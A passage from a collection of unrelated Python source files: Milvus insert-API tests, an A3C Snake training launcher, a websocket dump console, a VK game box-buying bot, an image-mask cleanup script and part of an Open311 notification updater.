df.insert(3, 'new', new_values)
error = {ct.err_code: 0, ct.err_msg: 'The data fields number is not match with schema.'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_fields_less(self):
"""
target: test insert with fields less
method: fields less than schema fields
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
df = cf.gen_default_dataframe_data(ct.default_nb)
df.drop(ct.default_float_vec_field_name, axis=1, inplace=True)
error = {ct.err_code: 0, ct.err_msg: 'The data fields number is not match with schema.'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_list_order_inconsistent_schema(self):
"""
target: test insert data fields order inconsistent with schema
method: insert list data, data fields order inconsistent with schema
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 10
int_values = [i for i in range(nb)]
float_values = [np.float32(i) for i in range(nb)]
float_vec_values = cf.gen_vectors(nb, ct.default_dim)
data = [float_values, int_values, float_vec_values]
error = {ct.err_code: 0, ct.err_msg: 'The types of schema and data do not match'}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_dataframe_order_inconsistent_schema(self):
"""
target: test insert with dataframe fields inconsistent with schema
method: insert dataframe, and fields order inconsistent with schema
expected: assert num entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 10
int_values = pd.Series(data=[i for i in range(nb)])
float_values = pd.Series(data=[float(i) for i in range(nb)], dtype="float32")
float_vec_values = cf.gen_vectors(nb, ct.default_dim)
df = pd.DataFrame({
ct.default_float_field_name: float_values,
ct.default_float_vec_field_name: float_vec_values,
ct.default_int64_field_name: int_values
})
error = {ct.err_code: 0, ct.err_msg: 'The types of schema and data do not match'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_inconsistent_data(self):
"""
target: test insert with inconsistent data
method: insert with data that same field has different type data
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
data = cf.gen_default_list_data(nb=100)
data[0][1] = 1.0
error = {ct.err_code: 0, ct.err_msg: "The data in the same column must be of the same type"}
collection_w.insert(data, check_task=CheckTasks.err_res, check_items=error)
class TestInsertOperation(TestcaseBase):
"""
******************************************************************
The following cases are used to test insert interface operations
******************************************************************
"""
@pytest.mark.tags(CaseLabel.L1)
def test_insert_without_connection(self):
"""
target: test insert without connection
method: insert after remove connection
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
self.connection_wrap.remove_connection(ct.default_alias)
res_list, _ = self.connection_wrap.list_connections()
assert ct.default_alias not in res_list
data = cf.gen_default_list_data(10)
error = {ct.err_code: 0, ct.err_msg: 'should create connect first'}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L1)
def test_insert_drop_collection(self):
"""
target: test insert and drop
method: insert data and drop collection
expected: verify collection if exist
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
collection_list, _ = self.utility_wrap.list_collections()
assert collection_w.name in collection_list
df = cf.gen_default_dataframe_data(ct.default_nb)
collection_w.insert(data=df)
collection_w.drop()
collection_list, _ = self.utility_wrap.list_collections()
assert collection_w.name not in collection_list
@pytest.mark.tags(CaseLabel.L1)
def test_insert_create_index(self):
"""
target: test insert and create index
method: 1. insert 2. create index
expected: verify num entities and index
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(ct.default_nb)
collection_w.insert(data=df)
assert collection_w.num_entities == ct.default_nb
collection_w.create_index(ct.default_float_vec_field_name, default_index_params)
assert collection_w.has_index()
index, _ = collection_w.index()
assert index == Index(collection_w.collection, ct.default_float_vec_field_name, default_index_params)
assert collection_w.indexes[0] == index
@pytest.mark.tags(CaseLabel.L1)
def test_insert_after_create_index(self):
"""
target: test insert after create index
method: 1. create index 2. insert data
expected: verify index and num entities
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
collection_w.create_index(ct.default_float_vec_field_name, default_index_params)
assert collection_w.has_index()
index, _ = collection_w.index()
assert index == Index(collection_w.collection, ct.default_float_vec_field_name, default_index_params)
assert collection_w.indexes[0] == index
df = cf.gen_default_dataframe_data(ct.default_nb)
collection_w.insert(data=df)
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L2)
def test_insert_binary_after_index(self):
"""
target: test insert binary after index
method: 1.create index 2.insert binary data
expected: 1.index ok 2.num entities correct
"""
schema = cf.gen_default_binary_collection_schema()
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix), schema=schema)
collection_w.create_index(ct.default_binary_vec_field_name, default_binary_index_params)
assert collection_w.has_index()
index, _ = collection_w.index()
assert index == Index(collection_w.collection, ct.default_binary_vec_field_name, default_binary_index_params)
assert collection_w.indexes[0] == index
df, _ = cf.gen_default_binary_dataframe_data(ct.default_nb)
collection_w.insert(data=df)
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_create_index(self):
"""
target: test create index in auto_id=True collection
method: 1.create auto_id=True collection and insert 2.create index
expected: index correct
"""
schema = cf.gen_default_collection_schema(auto_id=True)
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix), schema=schema)
df = cf.gen_default_dataframe_data(ct.default_nb)
df.drop(ct.default_int64_field_name, axis=1, inplace=True)
mutation_res, _ = collection_w.insert(data=df)
assert cf._check_primary_keys(mutation_res.primary_keys, ct.default_nb)
assert collection_w.num_entities == ct.default_nb
# create index
collection_w.create_index(ct.default_float_vec_field_name, default_index_params)
assert collection_w.has_index()
index, _ = collection_w.index()
assert index == Index(collection_w.collection, ct.default_float_vec_field_name, default_index_params)
assert collection_w.indexes[0] == index
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_true(self):
"""
target: test insert ids fields values when auto_id=True
method: 1.create collection with auto_id=True 2.insert without ids
expected: verify primary_keys and num_entities
"""
c_name = cf.gen_unique_str(prefix)
schema = cf.gen_default_collection_schema(auto_id=True)
collection_w = self.init_collection_wrap(name=c_name, schema=schema)
df = cf.gen_default_dataframe_data(ct.default_nb)
df.drop(ct.default_int64_field_name, axis=1, inplace=True)
mutation_res, _ = collection_w.insert(data=df)
assert cf._check_primary_keys(mutation_res.primary_keys, ct.default_nb)
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_insert_twice_auto_id_true(self):
"""
target: test insert ids fields twice when auto_id=True
method: 1.create collection with auto_id=True 2.insert twice
expected: verify primary_keys unique
"""
c_name = cf.gen_unique_str(prefix)
schema = cf.gen_default_collection_schema(auto_id=True)
nb = 10
collection_w = self.init_collection_wrap(name=c_name, schema=schema)
df = cf.gen_default_dataframe_data(nb)
df.drop(ct.default_int64_field_name, axis=1, inplace=True)
mutation_res, _ = collection_w.insert(data=df)
primary_keys = mutation_res.primary_keys
assert cf._check_primary_keys(primary_keys, nb)
mutation_res_1, _ = collection_w.insert(data=df)
primary_keys.extend(mutation_res_1.primary_keys)
assert cf._check_primary_keys(primary_keys, nb * 2)
assert collection_w.num_entities == nb * 2
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_true_list_data(self):
"""
target: test insert ids fields values when auto_id=True
method: 1.create collection with auto_id=True 2.insert list data with ids field values
expected: assert num entities
"""
c_name = cf.gen_unique_str(prefix)
schema = cf.gen_default_collection_schema(auto_id=True)
collection_w = self.init_collection_wrap(name=c_name, schema=schema)
data = cf.gen_default_list_data(nb=ct.default_nb)
mutation_res, _ = collection_w.insert(data=data[1:])
assert mutation_res.insert_count == ct.default_nb
assert cf._check_primary_keys(mutation_res.primary_keys, ct.default_nb)
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_true_with_dataframe_values(self):
"""
target: test insert with auto_id=True
method: create collection with auto_id=True
expected: 1.verify num entities 2.verify ids
"""
c_name = cf.gen_unique_str(prefix)
schema = cf.gen_default_collection_schema(auto_id=True)
collection_w = self.init_collection_wrap(name=c_name, schema=schema)
df = cf.gen_default_dataframe_data(nb=100)
error = {ct.err_code: 0, ct.err_msg: 'Auto_id is True, primary field should not have data'}
collection_w.insert(data=df, check_task=CheckTasks.err_res, check_items=error)
assert collection_w.is_empty
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_true_with_list_values(self):
"""
target: test insert with auto_id=True
method: create collection with auto_id=True
expected: 1.verify num entities 2.verify ids
"""
c_name = cf.gen_unique_str(prefix)
schema = cf.gen_default_collection_schema(auto_id=True)
collection_w = self.init_collection_wrap(name=c_name, schema=schema)
data = cf.gen_default_list_data(nb=100)
error = {ct.err_code: 0, ct.err_msg: 'The data fields number is not match with schema'}
collection_w.insert(data=data, check_task=CheckTasks.err_res, check_items=error)
assert collection_w.is_empty
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_false_same_values(self):
"""
target: test insert same ids with auto_id false
method: 1.create collection with auto_id=False 2.insert same int64 field values
expected: raise exception
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 100
data = cf.gen_default_list_data(nb=nb)
data[0] = [1 for i in range(nb)]
mutation_res, _ = collection_w.insert(data)
assert mutation_res.insert_count == nb
assert mutation_res.primary_keys == data[0]
@pytest.mark.tags(CaseLabel.L1)
def test_insert_auto_id_false_negative_values(self):
"""
target: test insert negative ids with auto_id false
method: auto_id=False, primary field values is negative
expected: verify num entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
nb = 100
data = cf.gen_default_list_data(nb)
data[0] = [i for i in range(0, -nb, -1)]
mutation_res, _ = collection_w.insert(data)
assert mutation_res.primary_keys == data[0]
assert collection_w.num_entities == nb
@pytest.mark.tags(CaseLabel.L2)
def test_insert_multi_threading(self):
"""
target: test concurrent insert
method: multi threads insert
expected: verify num entities
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(ct.default_nb)
thread_num = 4
threads = []
primary_keys = df[ct.default_int64_field_name].values.tolist()
def insert(thread_i):
log.debug(f'In thread-{thread_i}')
mutation_res, _ = collection_w.insert(df)
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == primary_keys
for i in range(thread_num):
x = threading.Thread(target=insert, args=(i,))
threads.append(x)
x.start()
for t in threads:
t.join()
assert collection_w.num_entities == ct.default_nb * thread_num
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.skip(reason="Currently primary keys are not unique")
def test_insert_multi_threading_auto_id(self):
"""
target: test concurrent insert auto_id=True collection
method: 1.create auto_id=True collection 2.concurrent insert
expected: verify primary keys unique
"""
pass
@pytest.mark.tags(CaseLabel.L2)
def test_insert_multi_times(self):
"""
target: test insert multi times
method: insert data multi times
expected: verify num entities
"""
c_name = cf.gen_unique_str(prefix)
collection_w = self.init_collection_wrap(name=c_name)
step = 120
for _ in range(ct.default_nb // step):
df = cf.gen_default_dataframe_data(step)
mutation_res, _ = collection_w.insert(data=df)
assert mutation_res.insert_count == step
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == ct.default_nb
class TestInsertAsync(TestcaseBase):
"""
******************************************************************
The following cases are used to test insert async
******************************************************************
"""
@pytest.mark.tags(CaseLabel.L1)
def test_insert_sync(self):
"""
target: test async insert
method: insert with async=True
expected: verify num entities
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(nb=ct.default_nb)
future, _ = collection_w.insert(data=df, _async=True)
future.done()
mutation_res = future.result()
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_insert_async_false(self):
"""
target: test insert with false async
method: async = false
expected: verify num entities
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(nb=ct.default_nb)
mutation_res, _ = collection_w.insert(data=df, _async=False)
assert mutation_res.insert_count == ct.default_nb
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_insert_async_callback(self):
"""
target: test insert with callback func
method: insert with callback func
expected: verify num entities
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(nb=ct.default_nb)
future, _ = collection_w.insert(data=df, _async=True, _callback=assert_mutation_result)
future.done()
mutation_res = future.result()
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L2)
def test_insert_async_long(self):
"""
target: test insert with async
method: insert 5w entities with callback func
expected: verify num entities
"""
nb = 50000
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(nb)
future, _ = collection_w.insert(data=df, _async=True)
future.done()
mutation_res = future.result()
assert mutation_res.insert_count == nb
assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist()
assert collection_w.num_entities == nb
@pytest.mark.tags(CaseLabel.L2)
def test_insert_async_callback_timeout(self):
"""
target: test insert async with callback
method: insert 10w entities with timeout=1
expected: raise exception
"""
nb = 100000
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data(nb)
future, _ = collection_w.insert(data=df, _async=True, _callback=assert_mutation_result, timeout=1)
with pytest.raises(Exception):
future.result()
@pytest.mark.tags(CaseLabel.L2)
def test_insert_async_invalid_data(self):
"""
target: test insert async with invalid data
method: insert async with invalid data
expected: raise exception
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
columns = [ct.default_int64_field_name, ct.default_float_vec_field_name]
df = pd.DataFrame(columns=columns)
error = {ct.err_code: 0, ct.err_msg: "Cannot infer schema from empty dataframe"}
collection_w.insert(data=df, _async=True, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L2)
def test_insert_async_invalid_partition(self):
"""
target: test insert async with invalid partition
method: insert async with invalid partition
expected: raise exception
"""
collection_w = self.init_collection_wrap(name=cf.gen_unique_str(prefix))
df = cf.gen_default_dataframe_data()
err_msg = "partitionID of partitionName:p can not be find"
future, _ = collection_w.insert(data=df, partition_name="p", _async=True)
future.done()
with pytest.raises(Exception, match=err_msg):
future.result()
def assert_mutation_result(mutation_res):
assert mutation_res.insert_count == ct.default_nb
|
main.py | from __future__ import print_function, division
import os
os.environ["OMP_NUM_THREADS"] = "1"
import argparse
import torch
import torch.multiprocessing as mp
from utils import read_config
from model import A3Clstm
from train import train
from test import test
from shared_optim import SharedRMSprop, SharedAdam
#from gym.configuration import undo_logger_setup
import time
import gym
import snakeenv
#undo_logger_setup()
parser = argparse.ArgumentParser(description='A3C')
parser.add_argument(
'--lr',
type=float,
default=0.0001,
metavar='LR',
help='learning rate (default: 0.0001)')
parser.add_argument(
'--gamma',
type=float,
default=0.99,
metavar='G',
help='discount factor for rewards (default: 0.99)')
parser.add_argument(
'--tau',
type=float,
default=1.00,
metavar='T',
help='parameter for GAE (default: 1.00)')
parser.add_argument(
'--seed',
type=int,
default=1,
metavar='S',
help='random seed (default: 1)')
parser.add_argument(
'--workers',
type=int,
default=8,
metavar='W',
help='how many training processes to use (default: 8)')
parser.add_argument(
'--num-steps',
type=int,
default=20,
metavar='NS',
help='number of forward steps in A3C (default: 20)')
parser.add_argument(
'--max-episode-length',
type=int,
default=1000,
metavar='M',
help='maximum length of an episode (default: 1000)')
parser.add_argument(
'--env',
default='snake',
metavar='ENV',
help='environment to train on (default: SnakeEnv-v0)')
parser.add_argument(
'--env-config',
default='config.json',
metavar='EC',
help='environment to crop and resize info (default: config.json)')
parser.add_argument(
'--shared-optimizer',
default=True,
metavar='SO',
help='use an optimizer without shared statistics.')
parser.add_argument(
'--load',
default=False,
metavar='L',
help='load a trained model')
parser.add_argument(
'--save-max',
default=True,
metavar='SM',
help='Save model on every test run high score matched or bested')
parser.add_argument(
'--optimizer',
default='Adam',
metavar='OPT',
help='shares optimizer choice of Adam or RMSprop')
parser.add_argument(
'--count-lives',
default=False,
metavar='CL',
help='end of life is end of training episode.')
parser.add_argument(
'--load-model-dir',
default='trained_models/',
metavar='LMD',
help='folder to load trained models from')
parser.add_argument(
'--save-model-dir',
default='trained_models/',
metavar='SMD',
help='folder to save trained models')
parser.add_argument(
'--log-dir',
default='logs/',
metavar='LG',
help='folder to save logs')
parser.add_argument(
'--gpu-ids',
type=int,
default=-1,
nargs='+',
help='GPUs to use [-1 CPU only] (default: -1)')
parser.add_argument(
'--amsgrad',
default=True,
metavar='AM',
help='Adam optimizer amsgrad parameter')
parser.add_argument(
'--skip-rate',
type=int,
default=4,
metavar='SR',
help='frame skip rate (default: 4)')
# Based on
# https://github.com/pytorch/examples/tree/master/mnist_hogwild
# Training settings
# Implemented multiprocessing using locks but was not beneficial. Hogwild
# training was far superior
if __name__ == '__main__':
args = parser.parse_args()
torch.manual_seed(args.seed)
if args.gpu_ids == -1:
args.gpu_ids = [-1]
else:
torch.cuda.manual_seed(args.seed)
mp.set_start_method('spawn')
setup_json = read_config(args.env_config)
env_conf = setup_json["Default"]
for i in setup_json.keys():
if i in args.env:
env_conf = setup_json[i]
env = gym.make('SnakeEnv-v0')
shared_model = A3Clstm(env.observation_space.shape[0], env.action_space)
if args.load:
saved_state = torch.load('{0}{1}.dat'.format(
args.load_model_dir, args.env), map_location=lambda storage, loc: storage)
shared_model.load_state_dict(saved_state)
shared_model.share_memory()
if args.shared_optimizer:
if args.optimizer == 'RMSprop':
optimizer = SharedRMSprop(shared_model.parameters(), lr=args.lr)
if args.optimizer == 'Adam':
optimizer = SharedAdam(
shared_model.parameters(), lr=args.lr, amsgrad=args.amsgrad)
optimizer.share_memory()
else:
optimizer = None
processes = []
p = mp.Process(target=test, args=(args, shared_model, env_conf))
p.start()
processes.append(p)
time.sleep(0.1)
for rank in range(0, args.workers):
p = mp.Process(target=train, args=(
rank, args, shared_model, optimizer, env_conf))
p.start()
processes.append(p)
time.sleep(0.1)
for p in processes:
time.sleep(0.1)
p.join()
|
wsdump.py | #!/Users/aruneli/rancher/validation-tests/.venv/bin/python
import argparse
import code
import six
import sys
import threading
import websocket
try:
import readline
except:
pass
OPCODE_DATA = (websocket.ABNF.OPCODE_TEXT, websocket.ABNF.OPCODE_BINARY)
ENCODING = getattr(sys.stdin, "encoding", "").lower()
class VAction(argparse.Action):
def __call__(self, parser, args, values, option_string=None):
if values==None:
values = "1"
try:
values = int(values)
except ValueError:
values = values.count("v")+1
setattr(args, self.dest, values)
def parse_args():
parser = argparse.ArgumentParser(description="WebSocket Simple Dump Tool")
parser.add_argument("url", metavar="ws_url",
help="websocket url. ex. ws://echo.websocket.org/")
parser.add_argument("-v", "--verbose", default=0, nargs='?', action=VAction,
dest="verbose",
help="set verbose mode. If set to 1, show opcode. "
"If set to 2, enable to trace websocket module")
parser.add_argument("-n", "--nocert", action='store_true',
help="Ignore invalid SSL cert")
return parser.parse_args()
class InteractiveConsole(code.InteractiveConsole):
def write(self, data):
sys.stdout.write("\033[2K\033[E")
# sys.stdout.write("\n")
sys.stdout.write("\033[34m" + data + "\033[39m")
sys.stdout.write("\n> ")
sys.stdout.flush()
def raw_input(self, prompt):
if six.PY3:
line = input(prompt)
else:
line = raw_input(prompt)
if ENCODING and ENCODING != "utf-8" and not isinstance(line, six.text_type):
line = line.decode(ENCODING).encode("utf-8")
elif isinstance(line, six.text_type):
line = line.encode("utf-8")
return line
def main():
args = parse_args()
console = InteractiveConsole()
if args.verbose > 1:
websocket.enableTrace(True)
opts = {}
if (args.nocert):
opts = { "cert_reqs": websocket.ssl.CERT_NONE, "check_hostname": False }
ws = websocket.create_connection(args.url, sslopt=opts)
print("Press Ctrl+C to quit")
def recv():
frame = ws.recv_frame()
if not frame:
raise websocket.WebSocketException("Not a valid frame %s" % frame)
elif frame.opcode in OPCODE_DATA:
return (frame.opcode, frame.data)
elif frame.opcode == websocket.ABNF.OPCODE_CLOSE:
ws.send_close()
return (frame.opcode, None)
elif frame.opcode == websocket.ABNF.OPCODE_PING:
ws.pong("Hi!")
return frame.opcode, frame.data
return frame.opcode, frame.data
def recv_ws():
while True:
opcode, data = recv()
msg = None
if not args.verbose and opcode in OPCODE_DATA:
msg = "< %s" % data
elif args.verbose:
msg = "< %s: %s" % (websocket.ABNF.OPCODE_MAP.get(opcode), data)
if msg:
console.write(msg)
thread = threading.Thread(target=recv_ws)
thread.daemon = True
thread.start()
while True:
try:
message = console.raw_input("> ")
ws.send(message)
except KeyboardInterrupt:
return
except EOFError:
return
if __name__ == "__main__":
try:
main()
except Exception as e:
print(e)
|
bot.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from threading import Thread
from time import strftime
from rich.console import Console
from rich.live import Live
from rich.table import Table
from api import BrawlS
from config import BUY_BOX_ONE, BUY_BOX_TWO, USER_AGENT, VK_ADMIN_TOKEN
class Bot:
def __init__(self):
self.console = Console()
self.client = BrawlS(self.console, VK_ADMIN_TOKEN, USER_AGENT)
self.balance = ""
self.trophies = ""
def update_account(self, dict_: dict) -> None:
self.balance = f"{dict_['balance']:,}"
try:
self.trophies = f"{dict_['trophies']:,}"
except KeyError:
pass
def get_table(self) -> Table:
table = Table(title="github.com/monosans/vk-brawls-bot")
table.add_column("Баланс", style="cyan")
table.add_column("Трофеи", style="green")
table.add_row(self.balance, self.trophies)
return table
def buy_box_one(self, live: Live) -> None:
while True:
self.update_account(self.client.buy_box_one())
self.console.print(
f"{strftime('%Y-%m-%d %H:%M:%S')} Купил первый бокс"
)
live.update(self.get_table(), refresh=True)
def buy_box_two(self, live: Live) -> None:
while True:
self.update_account(self.client.buy_box_two())
self.console.print(
f"{strftime('%Y-%m-%d %H:%M:%S')} Купил второй бокс"
)
live.update(self.get_table(), refresh=True)
def run_bot(self) -> None:
with Live(
self.get_table(), console=self.console, auto_refresh=False
) as live:
if BUY_BOX_ONE == 1 and BUY_BOX_TWO == 1:
threads = (
Thread(target=self.buy_box_one, args=(live,)),
Thread(target=self.buy_box_two, args=(live,)),
)
for t in threads:
t.start()
for t in threads:
t.join()
elif BUY_BOX_ONE == 1:
self.buy_box_one(live)
elif BUY_BOX_TWO == 1:
self.buy_box_two(live)
else:
self.console.print("Оба вида боксов отключены в config.py.")
if __name__ == "__main__":
Bot().run_bot()
|
check.py | from PIL import Image
import glob
import os
from tqdm import tqdm
import multiprocessing as mp
dataset_dir="/home/ec2-user/SageMaker/benchmarks/high_resolution"
def clean(start, end):
for i in tqdm(range(start, end)):
filename = "roi_train_im/roi{}.png".format(i)
image_path = os.path.join(dataset_dir, filename)
im = Image.open(image_path)
height, width = im.size
mask_pattern = "roi_train_masks/roi_mask{}_*.jpg".format(i)
all_masks_names = glob.glob(os.path.join(dataset_dir, mask_pattern))
for filename in all_masks_names:
mask = Image.open(filename)
h, w = mask.size
if h != height or w != width:
os.remove(filename)
print(filename)
if __name__ == '__main__':
num_processes = 20
step = 8000
processes = []
for i in range(num_processes):
processes.append(mp.Process(target=clean, args=(i*step, (i+1)*step)))
for p in processes:
p.start()
for p in processes:
p.join()
print("Done") |
update.py | #!/usr/bin/env python
# Copyright (C) 2012, Code for America
# This is open source software, released under a standard 3-clause
# BSD-style license; see the file LICENSE for details.
import os
import math
import datetime
import smtplib
from email.mime.text import MIMEText
from threading import Thread
from optparse import OptionParser
import logging
from collections import defaultdict
import imp
import requests
import dateutil
from dateutil.parser import parse as parse_date
from db import DB
from models import Subscription, UpdateInfoItem, Base
# Default configuration
DEFAULT_CONFIG_PATH = os.path.join(os.path.dirname(__file__), 'configuration.py')
DEFAULT_NOTIFIERS_DIR = os.path.join(os.path.dirname(__file__), 'notifiers')
DEFAULT_TEMPLATE_PATH = os.path.join(os.path.dirname(__file__), 'templates')
# Max number of SRs to return per request (per spec it's 50)
SR_INFO_CHUNK_SIZE = 50
# logging
logger = logging.getLogger(__name__)
logger.addHandler(logging.StreamHandler())
# These will be set by configure()
config = None
db = None
def config_from_file(path, base_configuration=None):
'''Load a configuration dictionary from a file path.
This is basically the same as config.from_pyfile ins Flask.
This version exists so we don't have the whole Flask dependency in updater.
One minor difference - second param is a basic configuration dictionary to update
rather than a silent switch.'''
config_module = imp.new_module('config')
config_module.__file__ = path
try:
execfile(path, config_module.__dict__)
except IOError, e:
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
results = base_configuration or {}
for key in dir(config_module):
if key.isupper():
results[key] = getattr(config_module, key)
return results
def configure(path=None):
global config, db
if not path:
path = os.path.abspath(os.environ.get('UPDATER_CONFIGURATION', os.environ.get('SRTRACKER_CONFIGURATION', DEFAULT_CONFIG_PATH)))
config = config_from_file(path)
# Where to get notification plugins
config['NOTIFIERS_DIR'] = os.path.abspath(config.get('NOTIFIERS_DIR', DEFAULT_NOTIFIERS_DIR))
# Set default template path
config['TEMPLATE_PATH'] = os.path.abspath(config.get('TEMPLATE_PATH', DEFAULT_TEMPLATE_PATH))
db = DB(config['DB_STRING'])
# Paths for templating and linking
if not config['SRTRACKER_URL'].endswith('/'):
config['SRTRACKER_URL'] = config['SRTRACKER_URL'] + '/'
if 'SR_DETAILS_URL' not in config:
config['SR_DETAILS_URL'] = '%srequests/{sr_id}' % config['SRTRACKER_URL']
if 'SR_TRACKER_IMG' not in config:
config['SR_TRACKER_IMG'] = '%sstatic/img/' % config['SRTRACKER_URL']
if 'SR_UNSUBSCRIBE_URL' not in config:
config['SR_UNSUBSCRIBE_URL'] = '%sunsubscribe/{key}' % config['SRTRACKER_URL']
# FIXME: start using this
utczone = dateutil.tz.tzutc()
def parse_date_utc(date_string):
'''Returns a naive date in UTC representing the passed-in date string.'''
parsed = parse_date(date_string)
if parsed.tzinfo:
parsed = parsed.astimezone(utczone).replace(tzinfo=None)
def get_updates(since):
url = '%s/requests.json' % config['OPEN311_SERVER']
params = {
'updated_after': since.isoformat(),
'page_size': config['OPEN311_PAGE_SIZE'],
'extensions': 'true'
}
if config['OPEN311_API_KEY']:
params['api_key'] = config['OPEN311_API_KEY']
# paging starts at 1 (not 0)
page = 1
results = []
while page:
params['page'] = page
request = requests.get(url, params=params)
if request.status_code == requests.codes.ok:
result = request.json
results.extend(result)
page = len(result) > 0 and page + 1 or 0
else:
# TODO: raise exception?
break
return results
def updated_srs_by_time():
updates = []
with db() as session:
last_update_info = session.query(UpdateInfoItem).filter(UpdateInfoItem.key == 'date').first()
# Bail out if we don't actually have any subscriptions
if not session.query(Subscription).first():
# but first we should clear out the last updated time
if last_update_info:
session.delete(last_update_info)
# TODO: should we raise an exception here instead?
return updates
# add 1 second to the time so we don't grab the latest previous result even if it wasn't updated
last_update_date = parse_date(last_update_info.value) + datetime.timedelta(seconds=1)
srs = get_updates(last_update_date)
# actually find the updated subscriptions
latest_update = None
for sr in srs:
# Some SRs may come back without a service_request_id if the SR was
# of the "batch" type (which should have a "token")
if 'service_request_id' in sr:
updated_subscriptions = session.query(Subscription).filter(Subscription.sr_id == sr['service_request_id'])
for subscription in updated_subscriptions:
updates.append((subscription.method, subscription.contact, subscription.key, sr))
if sr['status'] == 'closed':
session.delete(subscription)
# track the latest update time so we know when to start from next time we poll
sr_update_time = parse_date(sr['updated_datetime'])
if latest_update == None or latest_update < sr_update_time:
latest_update = sr_update_time
# in case of systems that are slow to update or batch updates (e.g. nightly),
# don't update the last update time unless we actually got some results
# and set the last update time to the most recent SR we received
if latest_update:
last_update_info.value = latest_update.isoformat()
return updates
def send_notifications(notifications):
# split up notifications by method
by_method = defaultdict(list)
for notification in notifications:
by_method[notification[0]].append(notification)
notifiers = get_notifiers()
for method, notes in by_method.iteritems():
if method in notifiers:
for notifier in notifiers[method]:
logger.debug('Sending %d notifications via %s', len(notes), notifier.__name__)
notifier.send_notifications(notes, config)
else:
logger.error('No notifier for "%s" - skipping %d notifications', method, len(notes))
def poll_and_notify():
logger.debug('Getting updates from Open311...')
notifications = updated_srs_by_time()
logger.debug('Sending %d notifications...', len(notifications))
# Need to unhardcode "email" updates so we can support things like SMS, Twitter, etc.
# Should break up the list by update method and have a thread pool for each
if config['THREADED_UPDATES']:
notification_count = len(notifications)
max_threads = config['EMAIL_MAX_THREADS']
per_thread = int(math.ceil(float(notification_count) / max_threads))
threads = []
# Create threads
for i in range(max_threads):
thread_notifications = notifications[i * per_thread:(i + 1) * per_thread]
if len(thread_notifications):
thread = Thread(target=send_notifications, args=(thread_notifications,))
thread.start()
threads.append(thread)
# Wait for threads to finish
for thread in threads:
thread.join()
else:
send_notifications(notifications)
def get_notifiers():
notifiers = defaultdict(list) # organized by type
for file_name in os.listdir(config['NOTIFIERS_DIR']):
module_name, ext = os.path.splitext(file_name)
if ext == '.py' or os.path.isdir(os.path.join(config['NOTIFIERS_DIR'], file_name)):
# Warning: this will raise ImportError if the file isn't importable (that's a good thing)
module_info = imp.find_module(module_name, [config['NOTIFIERS_DIR']])
module = None
try:
module = imp.load_module(module_name, *module_info)
finally:
# find_module opens the module's file, so be sure to close it here (!)
if module_info[0]:
module_info[0].close()
if module:
logger.debug('Loading notifier: "%s"' % module.__name__)
method = 'NOTIFICATION_METHOD' in dir(module) and module.NOTIFICATION_METHOD or module_name
if 'send_notifications' not in dir(module):
